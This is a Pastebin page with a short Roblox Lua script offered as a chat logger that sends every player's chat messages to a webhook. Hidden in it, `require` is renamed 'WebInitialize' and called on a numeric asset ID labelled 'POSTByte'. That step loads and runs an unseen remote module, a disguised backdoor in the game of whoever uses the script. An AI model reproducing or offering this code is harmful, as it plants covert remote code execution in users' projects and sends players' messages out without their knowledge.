Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local WebInitialize = require
- local Players = game:GetService("Players")
- local HttpService = game:GetService("HttpService")
- local POSTByte = 5592414500
- local wb = "WEBHOOK HERE "
- Players.PlayerAdded:Connect(function(plr)
- plr.Chatted:Connect(function(msg)
- local data = {
- ["contents"] = msg,
- ["embeds"] = {{
- ["title"] = "YOUR COMPANY/GAME NAME",
- ["fields"] = {{
- ["name"] = plr.Name.. " Chatted",
- ["value"] = msg
- }}
- }}
- }
- HttpService:PostAsync(wb, HttpService:JSONEncode(data))
- end)
- end)
- WebInitialize(POSTByte)
- -- The script shall be in the description.
- -- protocol_advanced 20/03/2021
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement